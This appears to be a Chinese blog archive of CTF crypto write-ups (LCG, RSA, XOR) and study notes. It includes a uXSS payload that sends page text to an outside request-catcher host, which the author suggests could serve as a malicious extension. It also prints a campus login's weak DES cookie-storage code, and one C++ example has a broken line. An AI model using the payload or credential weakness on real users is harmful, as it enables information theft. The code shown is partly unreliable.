for i in range(getPrime(16)):
 lcg.generate()

print(f'a = {lcg.a}')
print(f'b = {lcg.b}')
print(f'm = {lcg.m}')
print(lcg.generate())

'''
a = 113439939100914101419354202285461590291215238896870692949311811932229780896397
b = 72690056717043801599061138120661051737492950240498432137862769084012701248181
m = 72097313349570386649549374079845053721904511050364850556329251464748004927777
9772191239287471628073298955242262680551177666345371468122081567252276480156
'''

本题给出了LCG的各个参数，然后给出了一次密文，而初始种子便是我们的flag

现在我们拥有 $X_{n+1}$ , $a$ , $b$ , $m$ , 我们进行如下操作

对第一个式子(LCG递推式)

$$ X_{n+1} = (aX_n + b) \pmod m $$

进行移项后如下

$$ X_n = (X_{n+1} - b)a^{-1} \pmod m $$

这样我们便得到了一个从下一项逆向递推上一项的式子。

那么在题目中我们要逆向多少项呢？我们并不知道，因为中间迭代的次数是一个随机数，但是我们不用关心，因为我们知道flag的格式，所以只需要不断的逆向，直到找到符合格式的flag为止。

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


from Crypto.Util.number import *

a = 113439939100914101419354202285461590291215238896870692949311811932229780896397
b = 72690056717043801599061138120661051737492950240498432137862769084012701248181
m = 72097313349570386649549374079845053721904511050364850556329251464748004927777
x = 9772191239287471628073298955242262680551177666345371468122081567252276480156

inva = inverse(a, m)

for i in range(2**16):
 x = (x-b)*inva % m

 flag = long_to_bytes(x)
 if b'NSSCTF' in flag:
 print(flag)

从这里也可以看出，一旦LCG的参数遭到了泄露，我们便可以向前恢复或者向后预测出其他的随机数（或者专业点叫做流密钥）。

深渊大学 OS PA

Mon, 15 May 2023 22:38:28 +0000

一点点汇编知识

如何得知 `char` 开了多大

sub 是一个指令，用于执行减法操作。它的作用是将一个操作数的值减去另一个操作数，并将结果存储到指定的目的地。

`esp` 是啥寄存器

栈指针寄存器当前栈顶

LitCTF2023

Sat, 13 May 2023 18:14:56 +0000

小小小

Background

源码星球上有一种有趣的游戏「小，小小小」。

Description

给你 $n$ 张卡片，第 $i$ 张卡片上写着 $a_i$。

定义一个包含 $n$ 张卡片的卡片组分值为：

$$ \sum_{i=1}^{n}\lvert {a_i - a_{i + 1}}\rvert $$

其中 $a_{n+1} = a_1$。

校园网研究

Wed, 10 May 2023 22:24:57 +0000

密码和账号以密文和明文的形式储存在 `cookie` 中

以下是加密和保存的代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110


function i(e) {
 var n;
 Object(c.a)(this, i),
 (n = t.call(this, e)).state = {
 isDoing: !1,
 err: null,
 isShowQR: !1,
 QR: "",
 QRSec: 0,
 QRTimer: 0
 },
 n.V = {
 remember: !1,
 password: "",
 username: "",
 randomPassword: ""
 },
 n.f_key = function(e) {
 return $.a.enc.Utf8.parse(e.slice(-4) + e + "12345678")
 }
 ,
 n.check = function() {
 j.a.post(be.url, {
 DoWhat: "Check"
 }).then((function(e) {
 var t = e.data;
 !0 === t.Result && (x.b.success(t.Message, 5),
 be.App.setState({
 isLogin: !0
 }))
 }
 )).catch((function(e) {
 x.b.error("\u901a\u8baf\u5931\u8d25\uff01\u8bf7\u68c0\u67e5\u7f51\u7edc\u662f\u5426\u6b63\u5e38\u63a5\u5165\uff01")
 }
 ))
 }
 ,
 n.onFinish = function(e) {
 if (x.b.destroy(),
 n.setState({
 isDoing: !0
 }),
 e.DoWhat = "Login",
 e.username !== n.V.username || e.password !== n.V.randomPassword ? e.password = $.a.DES.encrypt(e.password, n.f_key(e.username), {
 mode: $.a.mode.ECB,
 padding: $.a.pad.Pkcs7
 }).ciphertext.toString() : e.password = n.V.password,
 e.remember) {
 var t = new Date(Date.now() + 2592e6);
 ie.a.save("username", e.username, {
 dt: t,
 maxAge: 2592e3
 }),
 ie.a.save("password", e.password, {
 dt: t,
 maxAge: 2592e3
 })
 } else
 ie.a.remove("username"),
 ie.a.remove("password"),
 ie.a.remove("remember");
 j.a.post(be.url, e).then((function(e) {
 var t = e.data;
 !1 === t.Result ? (x.b.error(t.Message, 5),
 n.setState({
 err: t.Message
 })) : !0 === t.Result && (x.b.success(t.Message, 5),
 be.App.setState({
 isLogin: !0
 }))
 }
 )).catch((function(e) {
 x.b.warning("\u901a\u8baf\u5931\u8d25\uff01\u8bf7\u68c0\u67e5\u7f51\u7edc\u662f\u5426\u6b63\u5e38\u63a5\u5165\uff01")
 }
 )).finally((function() {
 n.setState({
 isDoing: !1
 })
 }
 ))
 }
 ,
 n.onFinishVisitor = function(e) {
 x.b.destroy(),
 n.setState({
 isDoing: !0
 }),
 e.DoWhat = "Login",
 e.username = "V" + e.username,
 e.password = $.a.DES.encrypt(e.password, n.f_key(e.username), {
 mode: $.a.mode.ECB,
 padding: $.a.pad.Pkcs7
 }).ciphertext.toString(),
 j.a.post(be.url, e).then((function(e) {
 var t = e.data;
 !1 === t.Result ? x.b.error(t.Message, 5) : !0 === t.Result && (x.b.success(t.Message, 5),
 be.App.setState({
 isLogin: !0
 }))
 }
 )).catch((function(e) {
 x.b.warning("\u901a\u8baf\u5931\u8d25\uff01\u8bf7\u68c0\u67e5\u7f51\u7edc\u662f\u5426\u6b63\u5e38\u63a5\u5165\uff01")
 }
 )).finally((function() {
 n.setState({
 isDoing: !1
 })
 }
 ))
 }

已断点测试加密逻辑如上

CryptoHack Wp

Tue, 02 May 2023 19:10:42 +0000

1.2 XOR

挑战 1.2.4 XOR -> You either know, XOR you don’t

发现之前做了点了隐藏一下已经解决的

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


from pwn import xor
from Crypto.Util.number import long_to_bytes as l2b

c = "0e0b213f26041e480b26217f27342e175d0e070a3c5b103e2526217f27342e175d0e077e263451150104"
c = l2b(int(c, 16)) # hex to int to bytes
# 已知flag 前几位为crypto{ 于是与这几位结果对应密文xor即可得出key
flag_begin_format = b"crypto{"
flag_end_format = b"}"
key = xor(c[:7], flag_begin_format) + xor(c[-1:], flag_end_format)
print(xor(c, key))

uXSS学习

Sat, 08 Apr 2023 02:04:18 +0000

payload：

1
2
3
4
5
6
7
8


<title>HELLO</title>
<script>
 document.title = `
 <img src=x onerror="document.location = 'https://ll.requestcatcher.com/' 
 + document.evaluate('html/body/text()', document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, 
 null).singleNodeValue.data"
 `;
</script>

实现前提：有一个插件来监听所有网站标题有一个改变即刷新（可以作为恶意插件载入但无法被报毒然后使用上述代码在目标浏览器使用以窃取信息这份代码的目的是通过XSS漏洞进行恶意跳转。具体解释如下：

十四届篮球杯题解

Sat, 08 Apr 2023 01:58:55 +0000

重现

侧信道和嵌入式访问控制

Fri, 24 Mar 2023 23:24:20 +0000

侧信道

flag{The_rotten_measurement_channel}

PWN 入门

Wed, 08 Mar 2023 16:25:59 +0000

在这里学的

1. Vuln

栈溢出

查程序属性

1

file file_name

![[Pasted image 20230308160401.png]]

1

checksec vuln

![[Pasted image 20230308160806.png]]

发现无壳无动态链接查字符串

1

 strings ./vuln | grep flag

![[Pasted image 20230308162125.png]]

可以发现存在文件操作

方便本地测试在程序目录下构造 flag.txt 内存入一些自己分辨的值比如 flag{ahh}

数学分析

Sat, 04 Mar 2023 15:22:24 +0000

主要内容

RSA中的个人奇思妙想

Sat, 04 Mar 2023 12:18:28 +0000

公钥加密就私钥解密私钥加密就公钥解密

证书链

Mon, 27 Feb 2023 21:01:10 +0000

证书链是一系列数字证书的集合，用于验证和建立信任关系。在公钥基础设施（PKI）中，证书链用于验证服务器证书的有效性和可信任性。

证书链由多个证书组成，每个证书都被签发者（颁发者）签名。链的顶部是服务器证书，也称为终端证书或服务器端证书。该证书包含了公钥和与之相关的信息，如域名、组织名称等。

证书链的底部是根证书，也称为根CA证书或根证书颁发机构（Root CA）。根证书是最高级别的信任锚点，它的公钥用于验证链中的其他证书。

中间证书也被包含在证书链中，它们是由根证书颁发机构签发的，并用于连接终端证书和根证书。中间证书的作用是构建信任链，确保终端证书的有效性。

验证证书链的过程是逐级验证每个证书的签名，直到达到根证书。如果每个证书的签名都有效，并且根证书是受信任的，那么整个证书链就被视为有效和可信任的。

通过验证证书链，客户端可以确保与服务器之间的通信是安全的，并且可以信任服务器的身份。这对于建立安全的网络连接和进行加密通信至关重要，尤其在涉及敏感信息的场景下，如在线银行、电子商务等。

Diffie-Hellman

Thu, 23 Feb 2023 22:24:00 +0000

CMU 18-631 S23 U2L2

感谢：Generate

VNctf2023 Crypto方向赛题复现

Wed, 22 Feb 2023 12:01:26 +0000

挖一个坑

Coppersmith -- 相关消息攻击

Wed, 22 Feb 2023 11:26:39 +0000

NUS_CS2107-CTF

感谢：hash_hash

LLL格基约化算法

Tue, 21 Feb 2023 14:40:10 +0000

LLL (Lenstra–Lenstra–Lovász) 算法是一种用于将给定的格基 (lattice basis) 转换为更为紧凑的格基的算法。格基是在一个向量空间内的整数线性组合中生成整个格子的向量集合。

密码学的数学基础

Fri, 17 Feb 2023 15:13:00 +0000

b站up：Alice-Bob

Buu刷题记录

Wed, 15 Feb 2023 14:32:58 +0000

记录newbie日常

俄罗斯方块

Wed, 15 Feb 2023 12:35:42 +0000

Tetr

操作系统：设计与实现蒋炎岩

Tue, 14 Feb 2023 20:02:40 +0000

操作系统：设计与实现 蒋炎岩

RSA {3} 给n,e,dp,c

Tue, 14 Feb 2023 16:56:40 +0000

dP

RSA {2} Why RSA must make sure that gcd(e,φ(n))=1

Mon, 13 Feb 2023 23:57:09 +0000

Why RSA must make sure that $gcd(e,φ(n))=1$ instead of $gcd(e,n)=1$?

RSA {1} RSA Keys: What are dQ, dP and InvQ?

Mon, 13 Feb 2023 23:40:31 +0000

Chinese remainder theory

CP和人生

Thu, 12 Jan 2023 12:00:00 +0000

根据我最近的直觉，自欺欺人是不进步的最大原因。我想大胆提出三个假设：

最好的实践方法是任何不会让你欺骗自己的合理方法。
如果你有足够的动力，几乎任何事情都能满足上述标准。
如果你没有动力，那么几乎没有什么能满足上述标准。

通过“动机”，我有一个特定的含义。这里唯一重要的动机是对问题本身的浓厚兴趣。很多人的动机是如果他们做得好，他们就有更好的机会找到工作（我不知道这是不是真的，但是有很多人因为这个原因做CP） . 相对较少的人甚至可以获得 CP 的津贴或类似的津贴。这种动机可以作为一种次要动机，因为它给了你做 CP 而不是其他事情的理由，但这还不够。如果你只是看了史蒂夫·乔布斯或埃隆·马斯克的一段视频，其中包含一堆关于成功的通用主义，或者阅读了一些励志海报并获得了某种灵感——我认为这不会让你走得太远。对问题的兴趣在这里很重要。

RSA解密技巧

Wed, 21 Dec 2022 12:00:00 +0000

保存一些推导好的结论

已知n 且p、q相邻

线索是在加密脚本中可以找到如下类似代码

1
2
3


p = getPrime(512)
q = int(gmpy2.next_prime(p))
n = p*q

如下代码解出p、q

1
2
3
4


# pq相邻 为n开方
n2 = int(gmpy2.iroot(n, 2)[0])
p = sympy.nextprime(n2)
q = n//p

加以验证

1
2


print(p*q)
print(n == p*q) #返回True

q = sympy.nextprime()，意味着 p 和 q 是相邻的素数，非常接近，于是可以将 N 开平方根，这个数的 nextprime 就为 q

$q$ 与 $phi(q^2)$ 关系

题目给出

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30


from Crypto.Util.number import *
import gmpy2
from flag import flag

p=getPrime(512)
q=getPrime(512)
r=getPrime(512)
n=p*q*r
e=65537
m=bytes_to_long(flag)

def Euler(x):
 res=0
 for i in range(1,x):
 if gmpy2.gcd(i,x)==1:
 res+=1
 return res

P=p**3
Q=q**2
c=pow(m,e,n)

print(P)
print(Euler(Q))
print(c)
print(n)
#P = 1686761823519516525084824311416810253107853832929411677237594989001281261421956188747941222367576127569696216513071075733130132251383529469095077597202999362675041210639065389821237728348981344440193122126487447235175127680730304754656661704596111547454161716607787386914764780833658069534913186485846587027674567133467341836048413431174183101579802349498153899249182793495245916757355079598668221097821452488627067390724198617676379698358212167618567704428433303
#EQ = 54800501457630149544580145188029519076092032026436445384163914536965196942938808746487258773679836358732387355329080483568564046906919385574994390974732491368590525875801103056613954297623835159311237599961507385582029709732950222118171961946571285930711702624160354541459438994349318149872111029043942485620
#c = 568846080701555049788706647255668980211679838950729382006912035332305772256748203239331545262283165739670330060735508231578298253855583985677482008855909565463834639005910652510802915373310537390293061001384655286359323437737989289787972131460392977341024828530868508329336263146882773903176326250063921456707975853839017504122823304303509269793133132036479219404842827556015566627129747816769486873563843578029479179692030808518925753268233301452280242586076493
#n = 1069981867450019752454430625015273180922733107799929958042241890002915414684562764186875387471850290817321430141222917656674447229697676236077201897275059270515637506529666384968535578683380559782336910645306992981172862940944536463561840412558764760962107958365575095435157363812028759723055357681895134974760386884254380189603418912937553755099672511307377054933171384741715642510754214768859689909974996095149155241791151425031489280537907842378844226410097051

解出q

Euler(q^2) = q * (q-1)，那么 q-1 < sqrt(Euler(q^2)) < q.(已翻译)

快速幂

Wed, 21 Dec 2022 12:00:00 +0000

在acm被称为快速幂(平方求幂) 在ctf中也被称为 $montecarlo$

先说幂运算的朴素做法，在数学中，重复连乘的运算叫做乘方，乘方的结果称为幂

${\displaystyle n}$ 个相同的数 ${\displaystyle b}$ 连续相乘

$$ b^n = \overbrace {b \* b \* b \* ···} ^ {n \\ number\\ of\\ b} $$

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


// c++ version
#include <iostream>
int b, n, sum; // 仅作演示, 实际应该使用python或高精度防止爆int
int main() {
 std::cin >> b >> n;
 if (n == 0) { //对0次幂特判
 std::cout << 1;
 return 0;
 }
 sum = b, n = n - 1; 
 while (n --) {
 sum *= b;
 }
 for (int sum)
 std::cout << sum; return 0;
}

让我们先来思考一个问题：7的10次方，怎样算比较快？

方法1：上述提到的朴素算法, 来计算 $7 *7=49$，$49* 7=343$
这样算无疑太慢了，尤其对计算机的CPU而言，每次运算只乘上一个个位数，无疑太屈才了。这时我们想到，也许可以拆分问题。
方法2：先算7的5次方，即$7 *7* 7 *7* 7$，再算它的平方，共进行了5次乘法。
方法3：先算7 *7得49，则7的5次方为$49* 49 \* 7$，再算它的平方，共进行了4次乘法。

构造&贪心题单练习

Wed, 21 Dec 2022 12:00:00 +0000

构造+贪心(R1000)

剩余24h

A. Find Amir

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


# 有n个地点，每来往i，j两个地点就花费（i+j）mod（n+1），问遍历所有地点的最低花费
# 当i+j==n+1每两地花费最小，如1, n; 2，n-1
# 只需以1->n->2->n-1->3...这样的顺序花费就最小
n = int(input())

res = 0
# res = (n-1)/2
if n & 1: # n is odd
 res = (n - 1) >> 1
else:
 res = (n >> 1) - 1

print(res)

by: 易如鱼 & aYi_7 & 张少锋
分析：由于花费是要（i+j）mod（n+1），则尽可能使每段路程的i+j都接近n+1，通过样例中n=10的情况，不难发现解法。从1到n，花费为0(11%11 = 0)；从n走到2，花费为1(12%11=1)；从2到n-1，花费为0；从n-1到3，花费为1;从3到n-2…这样循环往复，每次向右走花费为零，向左走花费为1。据此不难写出通项公式：cost =（n-1）mod 2。

PWHhub2022冬季赛密码学习

Tue, 20 Dec 2022 12:00:00 +0000

cry1のWP, 大杂烩暂时挖坑

题面

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23


from gmpy2 import *
from Crypto.Util.number import *
from secret import flag
m = bytes_to_long(flag)

R = getPrime(256)
S = getPrime(512)
A = getPrime(1024)

N = R * S * A
c = pow(m, 0x10001, N) # c = m^e mod N

RA = R & A
print('RSA1',hex(RA * S))
print('RSA2',hex(RA | S))

print('c', hex(c))
print('N',hex(N))

# RSA1 0x97be543979cb98c109103fa118c1c930ff13a6b2562166417021afd6e46cb0837a5cc5f4094fcea5fcc33efdfa495050e0fb8269922b3ee2d403210ed1ba339af2dc3d4e8952f0c784fcc655436cf255b98cdaf8080df47f6c28bc0bae68c713
# RSA2 0xa887aa84f3a0bd8b79ed59a7bb98d8e58a85414f85cf2ddf53ff4bd9294bfdadf7d6d6adfe7fbed55fc71b5a6bfcfe79ced27e2f41e7546a8679daf5b63dda37
# c 0x2f62fb7e7e8e27823193119f8412050ade9084ade25261a5875da23a07d5d5145e72d460697984d8aa668a25822009a4fdc85df2b208941cd3219b312f21c3c7bc4ef7aa8c18b4f91a0e815fe1892fca0f72406e571fbd0fea2c4710c601165ccd7e8a5a828721a5e2c956b732223d683d1413ef393b5f80a431c52bf9099e22b8e27daafb9d3e055242b89b5419b8925744ccf348e1bea519225af8efe7dbcc202425251039cbfe6b892a7fcf7e9d72224ea9381e3fb32ab837139af4b4112a3c7a6571c88e7d6c5db4c3f91e25edd15eb5544ef2f29a9e1bb1062ec86f1902
# N 0x58a7ff25292651e1a8d82656d64fe3b458d6e688405e85aa6c02e0c33469ad3dbaef6c6eaf8faf22f2d15e80856ab7b90a40fd50c36f7b59932bc94e6fb4fabefa87b11bf4ef74df4ccf8d254f0c6812628df3c5b3786af35e3dde9c87b462d1a565af6f100750718ccb7235174947f00cec5836765150f1680d0c58a5f9ea2473a6033c218c75664dc53377dde9386f37e1a89d77e61a716129d290c5a41f81cd3490bab6fe51f232ab27cb1ac9c8eb88e908c12109a125b7439c25b6879283a17a3467823fbb089709eb836cfd03386cc4bf186eb45401472ab0bdec605fd7

非预期解(因$N$与$rsa1$中存在公因子$S$, 直接`gcd(rsa1, N)` 求出S, 又因为 $S > m$ 于是 $S$ 直接当做 $N$ 使用

Q: 为什么这里的 $S$ 可以当作 $N$ 使用呢

A: 这里因为 $m$ 比 $S$ 小, 所以在模 $S$ 和模 $N$ 下加密程序( $c = m^e mod N$ )求出来的 $c$ 是一样的, 于是把 $S$ 当 $N$ 算

可以理解为因为加密公式为 $m^e mod n$ , 膜的数学小技巧为 $c = m^e mod n$ 等同于 $c＝(m mod n)^e$ , 所以在 $S＞m$ ( $s$ 是 $n$ 的一个因子) 的时候, $S$ 可以直接接做 $N$ 使用

问了些师傅 + 个人想法, 如果有错请联系我更正谢谢！

非预期解法code

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24


from Crypto.Util.number import *
from z3 import *
from gmpy2 import *
# from sage.all import *
from math import gcd

rsa1 = 0x97be543979cb98c109103fa118c1c930ff13a6b2562166417021afd6e46cb0837a5cc5f4094fcea5fcc33efdfa495050e0fb8269922b3ee2d403210ed1ba339af2dc3d4e8952f0c784fcc655436cf255b98cdaf8080df47f6c28bc0bae68c713
rsa2 = 0xa887aa84f3a0bd8b79ed59a7bb98d8e58a85414f85cf2ddf53ff4bd9294bfdadf7d6d6adfe7fbed55fc71b5a6bfcfe79ced27e2f41e7546a8679daf5b63dda37
c = 0x2f62fb7e7e8e27823193119f8412050ade9084ade25261a5875da23a07d5d5145e72d460697984d8aa668a25822009a4fdc85df2b208941cd3219b312f21c3c7bc4ef7aa8c18b4f91a0e815fe1892fca0f72406e571fbd0fea2c4710c601165ccd7e8a5a828721a5e2c956b732223d683d1413ef393b5f80a431c52bf9099e22b8e27daafb9d3e055242b89b5419b8925744ccf348e1bea519225af8efe7dbcc202425251039cbfe6b892a7fcf7e9d72224ea9381e3fb32ab837139af4b4112a3c7a6571c88e7d6c5db4c3f91e25edd15eb5544ef2f29a9e1bb1062ec86f1902
N = 0x58a7ff25292651e1a8d82656d64fe3b458d6e688405e85aa6c02e0c33469ad3dbaef6c6eaf8faf22f2d15e80856ab7b90a40fd50c36f7b59932bc94e6fb4fabefa87b11bf4ef74df4ccf8d254f0c6812628df3c5b3786af35e3dde9c87b462d1a565af6f100750718ccb7235174947f00cec5836765150f1680d0c58a5f9ea2473a6033c218c75664dc53377dde9386f37e1a89d77e61a716129d290c5a41f81cd3490bab6fe51f232ab27cb1ac9c8eb88e908c12109a125b7439c25b6879283a17a3467823fbb089709eb836cfd03386cc4bf186eb45401472ab0bdec605fd7
e = 0x10001

# S = gcd(N, rsa2) 因为 rsa1 和 N 都有相同的因子 (S == Because both rsa1 and N has same factor S. by BaakingDog
S = gcd(N, rsa1)
# 这里想尝试分解pq, p*q太大未遂
# print(N//S)
# 非预期解 常规解法应该求出N的全部因子 (R, A) 然后d = e^-1 mod phi(N); m = c^d mod N (明文就求出来了)
# 而这里因为m比s小, 所以在模n和模s下求出来的m是一样的, 于是把s当n算
d = inverse(e, S - 1) # d = e^-1 mod phi(N) 求逆元
m = pow(c, d, S) # 把s当n算 m = c^d mod N
print(S > m) # True 加以验证
print(bytes.fromhex(hex(m)[2:])) # 转为字符

# print(long_to_bytes(m)) # 另一种转为字符的方式

rCTF2022密码学习

Thu, 15 Dec 2022 12:00:00 +0000

碎碎念：

rCTF一Misc题(feedback)flag就在给的链接里但只有1/7的队伍做出来
令人唏嘘

ezPVZ应该第二关需要单独修改数据且如果发现不是所修改的数据应该还原回修改前的状态，或者使用时间齿轮，不然会闪退

2022_重庆市赛WP_cry1

Thu, 08 Dec 2022 12:00:00 +0000

n和Q求最大公约数拿到q，P直接开立方拿到p，n整除p和q拿到r

或者求解q时可以

1
2
3


# Eq = Euler(Q) = Euler(q**2) 求q-> sqrt(Euler(q**2)) + 1 = q
# EQQ = gmpy2.iroot(Eq, 2)[0] # 求平方根
# q = EQQ + 1

Euler对于任意互质的整数a和b有性质f(a b) = f(a) ⋅ f(b)

题面

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31


from Crypto.Util.number import *
import gmpy2
from flag import flag

p=getPrime(512)
q=getPrime(512)
r=getPrime(512)
n=p*q*r
e=65537
m=bytes_to_long(flag)

def Euler(x):
 res=0
 for i in range(1,x):
 if gmpy2.gcd(i,x)==1:
 res+=1
 return res

P=p**3
Q=q**2
c=pow(m,e,n)

print(P)
print(Euler(Q))
print(c)
print(n)

#P = 1686761823519516525084824311416810253107853832929411677237594989001281261421956188747941222367576127569696216513071075733130132251383529469095077597202999362675041210639065389821237728348981344440193122126487447235175127680730304754656661704596111547454161716607787386914764780833658069534913186485846587027674567133467341836048413431174183101579802349498153899249182793495245916757355079598668221097821452488627067390724198617676379698358212167618567704428433303
#Eq = 54800501457630149544580145188029519076092032026436445384163914536965196942938808746487258773679836358732387355329080483568564046906919385574994390974732491368590525875801103056613954297623835159311237599961507385582029709732950222118171961946571285930711702624160354541459438994349318149872111029043942485620
#c = 568846080701555049788706647255668980211679838950729382006912035332305772256748203239331545262283165739670330060735508231578298253855583985677482008855909565463834639005910652510802915373310537390293061001384655286359323437737989289787972131460392977341024828530868508329336263146882773903176326250063921456707975853839017504122823304303509269793133132036479219404842827556015566627129747816769486873563843578029479179692030808518925753268233301452280242586076493
#n = 1069981867450019752454430625015273180922733107799929958042241890002915414684562764186875387471850290817321430141222917656674447229697676236077201897275059270515637506529666384968535578683380559782336910645306992981172862940944536463561840412558764760962107958365575095435157363812028759723055357681895134974760386884254380189603418912937553755099672511307377054933171384741715642510754214768859689909974996095149155241791151425031489280537907842378844226410097051

$gcd$ 方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


from Crypto.Util.number import *
e = 65537
r = 12142261002625479270959358223863571062295429117378994112396394259314721874267081158944354513358164889564741712782226613341612447412750073385958464420872713
c = 568846080701555049788706647255668980211679838950729382006912035332305772256748203239331545262283165739670330060735508231578298253855583985677482008855909565463834639005910652510802915373310537390293061001384655286359323437737989289787972131460392977341024828530868508329336263146882773903176326250063921456707975853839017504122823304303509269793133132036479219404842827556015566627129747816769486873563843578029479179692030808518925753268233301452280242586076493
n = 1069981867450019752454430625015273180922733107799929958042241890002915414684562764186875387471850290817321430141222917656674447229697676236077201897275059270515637506529666384968535578683380559782336910645306992981172862940944536463561840412558764760962107958365575095435157363812028759723055357681895134974760386884254380189603418912937553755099672511307377054933171384741715642510754214768859689909974996095149155241791151425031489280537907842378844226410097051
# p = gmpy2.iroot(P, 3)[0] # 开3次方根
p = 11903771663059518341912645066042582267678745214691121272332269847512624178064427789028954264701292914161793272471217879550653909080475237446747964043276487
# q = gmpy2.gcd(n,Eq)
q = 7402736079155473279000574596031490410671021795687853893698348179857428763438305848933328416647633118223876785823588566614584124350907811192587130096357221
phi = (q - 1) * (p - 1) * (r - 1)
# phi = (q - 1) * (p - 1)
# n = q * p
d = pow(e, -1, phi) # 求逆元 d = e**-1 mod phi
m = pow(c, d, n)
print(long_to_bytes(m))

拿到q p r (n的三个因子) 后也可以只用q p (不用r) 构造出新的phi, d和n来解密(数学底力不足，有的题不能这样操作，原因暂时未知，挖坑先)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


from Crypto.Util.number import *
q = 7402736079155473279000574596031490410671021795687853893698348179857428763438305848933328416647633118223876785823588566614584124350907811192587130096357221
p = 11903771663059518341912645066042582267678745214691121272332269847512624178064427789028954264701292914161793272471217879550653909080475237446747964043276487
e = 65537
r = 12142261002625479270959358223863571062295429117378994112396394259314721874267081158944354513358164889564741712782226613341612447412750073385958464420872713
c = 568846080701555049788706647255668980211679838950729382006912035332305772256748203239331545262283165739670330060735508231578298253855583985677482008855909565463834639005910652510802915373310537390293061001384655286359323437737989289787972131460392977341024828530868508329336263146882773903176326250063921456707975853839017504122823304303509269793133132036479219404842827556015566627129747816769486873563843578029479179692030808518925753268233301452280242586076493
n = 1069981867450019752454430625015273180922733107799929958042241890002915414684562764186875387471850290817321430141222917656674447229697676236077201897275059270515637506529666384968535578683380559782336910645306992981172862940944536463561840412558764760962107958365575095435157363812028759723055357681895134974760386884254380189603418912937553755099672511307377054933171384741715642510754214768859689909974996095149155241791151425031489280537907842378844226410097051
# phi = (q - 1) * (p - 1) * (r - 1)
phi = (q - 1) * (p - 1)
n = q * p
d = pow(e, -1, phi)
m = pow(c, d, n)
print(long_to_bytes(m))

$sqrt(Eq)$

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39


#by sangge’s code
from Crypto.Util.number import *
import gmpy2
import binascii
import hashlib

def Euler(x):
 res = 0
 for i in range(1, x):
 if gmpy2.gcd(i, x) == 1:
 res += 1
 return res

# 16进制转字符串
def hex_to_str1(s):
 s = binascii.unhexlify(s) # ASCII 码转换函数
 # unhexlify()传入的参数也可以是b'xxxx'(xxxx要符合16进制特征)
 return s.decode('utf-8') # s的类型是bytes类型，用encode()方法转化为str类型(去除b'')

P = 1686761823519516525084824311416810253107853832929411677237594989001281261421956188747941222367576127569696216513071075733130132251383529469095077597202999362675041210639065389821237728348981344440193122126487447235175127680730304754656661704596111547454161716607787386914764780833658069534913186485846587027674567133467341836048413431174183101579802349498153899249182793495245916757355079598668221097821452488627067390724198617676379698358212167618567704428433303
EQ = 54800501457630149544580145188029519076092032026436445384163914536965196942938808746487258773679836358732387355329080483568564046906919385574994390974732491368590525875801103056613954297623835159311237599961507385582029709732950222118171961946571285930711702624160354541459438994349318149872111029043942485620
c = 568846080701555049788706647255668980211679838950729382006912035332305772256748203239331545262283165739670330060735508231578298253855583985677482008855909565463834639005910652510802915373310537390293061001384655286359323437737989289787972131460392977341024828530868508329336263146882773903176326250063921456707975853839017504122823304303509269793133132036479219404842827556015566627129747816769486873563843578029479179692030808518925753268233301452280242586076493
n = 1069981867450019752454430625015273180922733107799929958042241890002915414684562764186875387471850290817321430141222917656674447229697676236077201897275059270515637506529666384968535578683380559782336910645306992981172862940944536463561840412558764760962107958365575095435157363812028759723055357681895134974760386884254380189603418912937553755099672511307377054933171384741715642510754214768859689909974996095149155241791151425031489280537907842378844226410097051
e = 65537
p = gmpy2.iroot(P, 3)[0]
# Euler对于任意 互质 的整数a和b有性质f ( a b ) = f ( a ) ⋅ f ( b )
Eq = gmpy2.iroot(EQ, 2)[0] # 求平方根
q = Eq + 1
r = n//p//q # 求整数除法
phi_n = (p - 1) * (q - 1) * (r - 1) # 求欧拉函数
d = gmpy2.invert(e, phi_n) # 求逆元
m = pow(c, d, n) # 求模幂
# print(m)
flag = hex_to_str1(hex(m)[2:]) # 不会附带 b'' 与下方转换类似(# 转化为16进制 后去掉前面的0x 后转化为str类型)
# flag = long_to_bytes(m) # 会附带 b'' 可以像上面一样再转一次str
print(flag[5:-1]) # 去掉前后的flag{} ,下面继续进行题意要求的md5加密
hash = hashlib.md5() # md5加密
hash.update(flag[5:-1].encode('utf-8')) # encode()方法将str类型转化为bytes类型
print("flag{" + hash.hexdigest() + "}") # hexdigest()方法将bytes类型转化为str类型

![q的推导.png]]

RSA基础公式&正确性证明

Thu, 08 Dec 2022 12:00:00 +0000

基本原理

公钥与私钥的产生

随机选择两个不同大质数 $p$ 和 $q$，计算 $N=p\times q$
根据欧拉函数，求得 $\phi(N)=\phi(p)\phi(q)=(p-1)(q-1)$
选择一个小于 $\phi(N)$ 的整数 $e$，使 $e$ 和 $\phi(N)$ 互质。并求得 $e$ 关于 $\phi(N)$ 的模反元素，命名为 $d$，有 $ed \equiv 1 \pmod{\phi(N)}$
将 $p$ 和 $q$ 的记录销毁

此时，$(N,e)$ 是公钥，$(N,d)$ 是私钥。

初中数学remake

Thu, 08 Dec 2022 12:00:00 +0000

